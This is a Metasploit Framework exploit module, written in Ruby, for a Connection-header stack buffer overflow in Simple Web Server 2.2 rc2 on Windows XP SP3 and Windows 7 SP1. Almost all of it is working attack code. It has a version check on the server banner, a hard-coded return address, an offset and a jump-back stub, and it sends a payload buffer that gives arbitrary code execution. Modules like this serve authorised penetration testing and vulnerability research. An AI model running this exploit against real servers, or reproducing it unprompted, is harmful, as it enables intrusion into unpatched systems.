Simple Web Server Connection Header Buffer Overflow

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	HttpFingerprint = { :pattern => [ /PMSoftware-SWS/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'        => "Simple Web Server Connection Header Buffer Overflow",
			'Description' => %q{
				This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user
				can send a long string data in the Connection Header to causes an overflow on the
				stack when function vsprintf() is used, and gain arbitrary code execution. The
				module has been tested successfully on Windows 7 SP1 and Windows XP SP3.
			},
			'License'	  => MSF_LICENSE,
			'Author'      =>
				[
					'mr.pr0n', # Vulnerability Discovery and PoC
					'juan' # Metasploit module
				],
			'References' =>
				[
					['EDB', '19937'],
					['URL', 'http://ghostinthelab.wordpress.com/2012/07/19/simplewebserver-2-2-rc2-remote-buffer-overflow-exploit/']
				],
			'Payload'	 =>
				{
					'BadChars' => "\x00\x0a\x0d",
					'Space' => 2048,
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xC4\x60\xF0\xFF\xFF", # add esp, -4000
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => "process",
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[
						'SimpleWebServer 2.2-rc2 / Windows XP SP3 / Windows 7 SP1',
						{
							'Ret' => 0x6fcbc64b, # call edi from libstdc++-6.dll
							'Offset' => 2048,
							'OffsetEDI' => 84
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 20 2012",
			'DefaultTarget'  => 0))
	end

	def check
		res = send_request_raw({'uri'=>'/'})
		if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit

		sploit = payload.encoded
		sploit << rand_text(target['Offset'] - sploit.length)
		sploit << [target.ret].pack("V") # eip
		sploit << rand_text(target['OffsetEDI'])
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{sploit.length}").encode_string

		print_status("Trying target #{target.name}...")

		connect

		send_request_cgi({
			'uri'        => '/',
			'version'    => '1.1',
			'method'     => 'GET',
			'connection' => sploit
		})

		disconnect

	end
end